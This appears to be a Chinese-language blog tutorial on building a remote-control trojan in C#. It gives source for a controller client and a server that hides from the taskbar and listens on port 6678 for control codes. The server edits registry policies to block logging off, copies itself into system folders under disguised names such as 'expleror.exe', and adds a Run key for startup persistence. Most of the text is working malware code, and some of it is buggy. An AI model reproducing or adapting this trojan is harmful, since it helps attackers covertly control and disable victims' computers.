C# 网络编程 : 用C#完成木马程序

木马的介绍 

   因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类, 
TcpClient(string hostname,int port) 
Hostname 是要控制的主机名称,当然你也可以用IP地址。 
Port是端口。 
// System.EventArgs包含事件数据类的基类 
private void button7_Click(object sender, System.EventArgs e) 

//记录操作,在richTextBox控件中增加操作信息 
richTextBox1.AppendText("请求连接" +textBox1.Text +"/r"); 
int port =6678; 
try 

//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 
client = new TcpClient(textBox1.Text,port); 

catch 

MessageBox.Show("服务器不在线!确定是否输入主机名称."); 
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); 

}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流 

//private NetworkStream stream; 
代码如下: 
private void button8_Click(object sender, System.EventArgs e) 

//纪录操作 
richTextBox1.AppendText("测试连接" +"/r"); 
try 


stream = client.GetStream(); 
if(stream.CanWrite) 

//发送控制码 
string control = "jiance"; 
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); 
stream.Write(by,0,by.Length); 
//下次使用 
stream.Flush(); 
//启动接收反回数据的线程 
//receive是线程执行的函数,见后面的分析 
threadReceive = new Thread(new ThreadStart(receive)); 
threadReceive.Start(); 


catch(Exception ee) 

richTextBox1.AppendText (ee.Message+"/r"); 
MessageBox.Show(ee.Message); 

}

  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e) 

//这里是确定要发送的控制码,RadioButton是窗体控件 
if(radioButton1.Checked){ control = form2.zhucex;} 
else if(radioButton2.Checked){ control =form3.zhuces;} 
else if(radioButton3.Checked){ control = warring;} 
else if(radioButton4.Checked){ control =suggest;} 
else if(radioButton5.Checked){ control =form4.mumawe;} 
else if(radioButton6.Checked){ control =drop;} 
if (control =="000000") 

MessageBox.Show("你没有输入任何控制目标!不发控制信号"); 
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); 

else if(control != "000000") 

try 

//记录操作 
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "/r"); 
stream = client.GetStream(); 
if(stream.CanWrite ) 

byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); 
stream.Write(by,0,by.Length); 
stream.Flush(); 
threadReceive =new Thread(new ThreadStart(receive)); 
threadReceive.Start(); 
}//endif 
}//try 
catch 

 

 

richTextBox1.AppendText("服务器未连接1控制无效!" +"/r"); 
MessageBox.Show("服务器未连接1控制无效!" +"/r"); 

}//else if 
}

  4、线程执行的函数

private void receive() 

//设置读取数据的空间 
byte[] bb = new byte[3]; 
//读取3个字节,i为实际读取的字节数 
int i = stream.Read(bb,0,3); 
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); 
string ss = System.Text.Encoding.ASCII.GetString(bb); 
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 
if(ss=="hjc") 

MessageBox.Show("连接成功"); 
richTextBox1.AppendText("连接成功"); 

if(ss== "hkz") 

richTextBox1.AppendText(control +"控制成功"+"/r"); 
MessageBox.Show(control +"控制成功"+"/r"); 


服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent() 

// 
// Form1 
// 
//窗体显示的起点和大小 
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); 
this.ClientSize = new System.Drawing.Size(368, 357); 
//窗体名称 
this.Name = "Form1"; 
//设置属性让它后台运行 
this.ShowInTaskbar = false; 
this.Text = "Form1"; 
this.WindowState = System.Windows.Forms.FormWindowState.Minimized; 
}

  2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数 

// 
// Windows 窗体设计器支持所必需的 
// 
InitializeComponent();

// 
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码 
//加入你的侦听代码 
//端口你可以自已设定,我使用了固定的端口 
int port =6678; 
//System.NET.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 
listener = new TcpListener(port); 
//启动侦听 
listener.Start(); 
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort() 
//reControlCode 是线程启动执行的函数,此函数根据接收的控制 
//控制码选取合适的注册表修改函数 
Thread thread = new Thread(new ThreadStart(reControlCode)); 
thread.Start(); 

reControlCode函数如下,完整代码见程序 
private void reControlCode() 

//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 
socket = listener.AcceptSocket(); 
//如果连接成功执行 
while (socket.Connected) 

//接收控制码 
byte [] by =new byte[6]; 
int i = socket.Receive(by,by.Length ,0); 
string ss = System.Text.Encoding.ASCII.GetString(by); 
//根据控制码执行不同的功能 

//修改注册表加入编码 
switch (ss) 

case "jiance"://测试连接,返回测试信息 
string str ="hjc"; 
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); 
socket.Send(bytee,0,bytee.Length,0); 
break; 
case "zx1000": 
//修改注册表函数,自已定义,见下面分析 
UnLogOff(); 
//返回控制消息 
retMessage(); 
break;

case "zx0100": 
//修改注册表函数 
UnClose(); 
//返回控制消息 

 
retMessage(); 
break; 
//重复的case功能与前面一样,略掉 
default: 
break; 
}//case 
}//while 
} //private void reControlCode

  3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer 
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff() 

//得到主机的注册表的顶级节点 
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 
//设置一个注册表子键的变量 
RegistryKey key1; 
try 

//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 
key1 = 
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true); 
//设置子键的键名,和值 
key1.SetValue ("NoLogOff",1); 
//关闭打开的子键 
key1.Close(); 
//警告字符串设定 
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; 

catch{} 
//如果不存在自已建立 
if(key1 ==null) 

try 

//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer"); 
key2.SetValue("NoLogOff",1); 
key2.Close(); 
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; 

catch{} 

}

  4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1() 

try 

//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 
//sourceFileName为要移动的文件名,destFileName为文件的新路径 
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe"); 

catch {} 
//将新移的木马程序设为自启动.分析和前面一样 
try 

key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true); 
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); 
key1.Close(); 

catch{} 
if(key1 ==null) 

try 

RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run"); 
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); 
key1.Close(); 

catch{} 

} //moveCC1()

 

  到这里一个简单的C#的木马就完成了。

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